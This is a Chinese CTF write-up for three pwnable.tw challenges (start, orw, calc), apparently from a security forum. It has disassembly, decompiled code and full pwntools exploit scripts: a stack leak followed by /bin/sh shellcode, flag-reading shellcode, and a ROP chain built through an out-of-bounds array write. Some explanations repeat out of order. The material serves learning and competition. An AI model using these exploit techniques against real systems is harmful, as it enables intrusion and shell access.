最近打算做一做pwnable.tw的题目,把一些过程给大家分享一下,前三题(start,orw,calc)比较简单,所以我写到这一篇文章里了
配合注释一眼就看完了,先调用write打印栈里面的一个字符串,然后在同一个地方read写入60个字节,最后抬高栈顶,返回到exit函数,结束程序
利用思路
exp
这是主要函数,先调用get_expr函数读取一个字符串,并且过滤除[0-9]*+-\%之外的字符,init_pool初始化一个内存块,然后调用parse_expr函数计算结果,结果存放在result[ptr - 1]处.
result数组保存操作数,s数组保存运算符号,result[0]保存操作数的个数.
漏洞就发生在eval函数里边,程序并没有对result[0]进行检查,所以如果我们控制了result[0]的值,就可以进行任意地址读写了.假如+20因为第一个字符为符号+而只有一个数字,那么在这样的情况下执行eval函数时,result[*result - 1] += result[result]就会变成result[1-1]+=result[1],于是就成功控制了result[0]的值。
博客有我的联系方式,欢迎大家来玩,地址:https://www.0x2l.cn
[0] % checksec start
[*] '/home/dylan/desktop/pwnable.tw/start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx ; fd = 0
.text:08048091 ; addr = esp
.text:08048093 mov dl, 3Ch ; count = 60
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX - sys_read
.text:08048099 add esp, 14h
.text:0804809C retn
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = False
# Set up pwntools for the correct architecture
exe = './' + 'start'
elf = context.binary = ELF(exe)
#don't forget to change it
host = 'chall.pwnable.tw'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'start'
ctx.binary = exe
libc = elf.libc
ctx.debug_remote_libc = False
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
try:
io = ctx.start()
except Exception as e:
print(e.args)
print("It can't work,may be it can't load the remote libc!")
print("It will load the local process")
io = process(exe)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)
def exp():
#shellcode
shellcode="\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
log.success('len(shellcode) = ' + hex(len(shellcode)))
#leak esp
payload = 'a'*0x14 + p32(0x08048087)
io.recv()
io.send(payload)
stack = u32(io.recv()[:4]) + 0x14
log.success('target addr = ' + hex(stack))
#get shell
payload = 'a'*0x14 + p32(stack) + shellcode
io.send(payload)
if __name__ == '__main__':
exp()
io.interactive()
[0] % checksec orw
[*] '/home/dylan/desktop/pwnable.tw/orw/orw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = False
# Set up pwntools for the correct architecture
exe = './' + 'orw'
elf = context.binary = ELF(exe)
#don't forget to change it
host = args.HOST or 'chall.pwnable.tw'
port = int(args.PORT or 10001)
#don't forget to change it
#ctx.binary = './' + 'orw'
ctx.binary = exe
libc = elf.libc
ctx.debug_remote_libc = False
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
try:
io = ctx.start()
except Exception as e:
print(e.args)
print("It can't work,may be it can't load the remote libc!")
print("It will load the local process")
io = process(exe)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)
# RWX: Has RWX segments
def exp():
#shellcode
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp',0x30)
shellcode += shellcraft.write(1,'esp',0x30)
io.recv()
io.send(asm(shellcode))
if __name__ == '__main__':
exp()
io.interactive()
[17] % checksec calc
[*] '/home/dylan/desktop/pwnable.tw/calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
unsigned int calc()
{
int ptr; // [esp+18h] [ebp-5A0h]
int result[100]; // [esp+1Ch] [ebp-59Ch]
char calc_string; // [esp+1ACh] [ebp-40Ch]
unsigned int v4; // [esp+5ACh] [ebp-Ch]
v4 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&calc_string, 0x400u);
if ( !get_expr((int)&calc_string, 1024) )
break;
init_pool(&ptr);
if ( parse_expr((int)&calc_string, &ptr) )
{
printf((const char *)&unk_80BF804, result[ptr - 1]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v4;
}
signed int __cdecl parse_expr(int calc_string, _DWORD *result)
{
int len; // ST2C_4
int v4; // eax
int v5; // [esp+20h] [ebp-88h]
int index; // [esp+24h] [ebp-84h]
int v7; // [esp+28h] [ebp-80h]
char *malloc_mem; // [esp+30h] [ebp-78h]
int v9; // [esp+34h] [ebp-74h]
char s[100]; // [esp+38h] [ebp-70h]
unsigned int v11; // [esp+9Ch] [ebp-Ch]
v11 = __readgsdword(0x14u);
v5 = calc_string;
v7 = 0;
bzero(s, 0x64u);
for ( index = 0; ; ++index )
{
if ( (unsigned int)(*(char *)(index + calc_string) - 48) > 9 )
{
len = index + calc_string - v5;
malloc_mem = (char *)malloc(len + 1);
memcpy(malloc_mem, v5, len);
malloc_mem[len] = 0;
if ( !strcmp(malloc_mem, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(malloc_mem);
if ( v9 > 0 )
{
v4 = (*result)++;
result[v4 + 1] = v9;
}
if ( *(_BYTE *)(index + calc_string) && (unsigned int)(*(char *)(index + 1 + calc_string) - 48) > 9 )
{
puts("expression error!");
fflush(stdout);
return 0;
}
v5 = index + 1 + calc_string;
if ( s[v7] )
{
switch ( *(char *)(index + calc_string) )
{
case '%':
case '*':
case '/':
if ( s[v7] != 43 && s[v7] != 45 )
{
eval(result, s[v7]);
s[v7] = *(_BYTE *)(index + calc_string);
}
else
{
s[++v7] = *(_BYTE *)(index + calc_string);
}
break;
case '+':
case '-':
eval(result, s[v7]);
s[v7] = *(_BYTE *)(index + calc_string);
break;
default:
eval(result, s[v7--]);
break;
}
}
else
{
s[v7] = *(_BYTE *)(index + calc_string);
}
if ( !*(_BYTE *)(index + calc_string) )
break;
}
}
while ( v7 >= 0 )
eval(result, s[v7--]);
return 1;
}
_DWORD *__cdecl eval(_DWORD *result, char a2)
{
_DWORD *a3; // eax
if ( a2 == '+' )
{
result[*result - 1] += result[*result];
}
else if ( a2 > '+' )
{
if ( a2 == '-' )
{
result[*result - 1] -= result[*result];
}
else if ( a2 == '/' )
{
result[*result - 1] /= result[*result];
}
}
else if ( a2 == '*' )
{
result[*result - 1] *= result[*result];
}
a3 = result;
--*result;
return a3;
}
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
from struct import pack
local = True
# Set up pwntools for the correct architecture
exe = './' + 'calc'
elf = context.binary = ELF(exe)
#don't forget to change it
host = args.HOST or 'chall.pwnable.tw'
port = int(args.PORT or 10100)
#don't forget to change it
#ctx.binary = './' + 'calc'
ctx.binary = exe
libc = elf.libc
ctx.debug_remote_libc = False
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
try:
io = ctx.start()
except Exception as e:
print(e.args)
print("It can't work,may be it can't load the remote libc!")
print("It will load the local process")
io = process(exe)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
#shellcode
shellcode = ''
shellcode += pack('<I', 0x080701aa) # pop edx ; ret
shellcode += pack('<I', 0x080ec060) # @ .data
shellcode += pack('<I', 0x0805c34b) # pop eax ; ret
shellcode += '/bin'
shellcode += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
shellcode += pack('<I', 0x080701aa) # pop edx ; ret
shellcode += pack('<I', 0x080ec064) # @ .data + 4
shellcode += pack('<I', 0x0805c34b) # pop eax ; ret
shellcode += '//sh'
shellcode += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
shellcode += pack('<I', 0x080701aa) # pop edx ; ret
shellcode += pack('<I', 0x080ec068) # @ .data + 8
shellcode += pack('<I', 0x080550d0) # xor eax, eax ; ret
shellcode += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret
shellcode += pack('<I', 0x080481d1) # pop ebx ; ret
shellcode += pack('<I', 0x080ec060) # @ .data
shellcode += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret
shellcode += pack('<I', 0x080ec068) # @ .data + 8
shellcode += pack('<I', 0x080ec060) # padding without overwrite ebx
shellcode += pack('<I', 0x080701aa) # pop edx ; ret
shellcode += pack('<I', 0x080ec068) # @ .data + 8
shellcode += pack('<I', 0x080550d0) # xor eax, eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x0807cb7f) # inc eax ; ret
shellcode += pack('<I', 0x08049a21) # int 0x80
def set_value(addr):
io.sendline('+'+str(addr))
value = int(io.recv())
if value > 0:
io.sendline('+'+str(addr)+'-'+str(value)+'+'+str(u32(shellcode[(addr-361)*4:(addr-361+1)*4])))
else:
io.sendline('+'+str(addr)+'+'+str(-value)+'+'+str(u32(shellcode[(addr-361)*4:(addr-361+1)*4])))
io.recv()
def exp():
io.recv()
for i in range(361,361+len(shellcode)/4):
set_value(i)
io.sendline('')
if __name__ == '__main__':
exp()
io.interactive()
程序结构很简单,但是IDA反汇编有点不清楚,直接看汇编就好了,也就20几行
利用思路
read的长度很明显造成了栈溢出,所以我们可以自由劫持程序控制流程,比如跳转到shellcode,但是我们并不知道栈的地址,所以需要先泄露栈地址.
回想一下整个程序的栈内分布,先是压入了esp的值,然后放入了exit函数的地址,当做是返回地址,接着压入了20个字节.抬高栈顶之后栈最顶层的数据是exit函数的地址,执行完retn之后,栈顶存放的正好是esp的值.所以我们只要把exit函数的地址覆盖为.text:08048087这个地址,这样程序返回之后执行write,正好打印出栈顶的esp值,这样我们就成功泄露了栈地址.
接着我们又获得了一次输入的机会,这次我们覆盖返回地址为esp+14,返回地址之后跟上我们的shellcode,这样一会儿就会跳转到我们的shellcode去
shellcode尽可能短一点,因为程序存在字节限制
exp
read的长度很明显造成了栈溢出,所以我们可以自由劫持程序控制流程,比如跳转到shellcode,但是我们并不知道栈的地址,所以需要先泄露栈地址.
回想一下整个程序的栈内分布,先是压入了esp的值,然后放入了exit函数的地址,当做是返回地址,接着压入了20个字节.抬高栈顶之后栈最顶层的数据是exit函数的地址,执行完retn之后,栈顶存放的正好是esp的值.所以我们只要把exit函数的地址覆盖为.text:08048087这个地址,这样程序返回之后执行write,正好打印出栈顶的esp值,这样我们就成功泄露了栈地址.
接着我们又获得了一次输入的机会,这次我们覆盖返回地址为esp+14,返回地址之后跟上我们的shellcode,这样一会儿就会跳转到我们的shellcode去
shellcode尽可能短一点,因为程序存在字节限制
程序结构感觉比上一题还好看,直接读取我们输入的shellcode,然后跳转过去执行,但是这个题也不是白给,加了一点限制:只能使用open,write,read这三个系统调用,不能直接调用system.
利用思路
先调用open函数打开flag文件
将flag文件的内容read到栈中
再用write函数将栈的内容打印出来
exp
先调用open函数打开flag文件
将flag文件的内容read到栈中
再用write函数将栈的内容打印出来
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2020-8-12 20:22
被0x2l编辑
,原因: 修改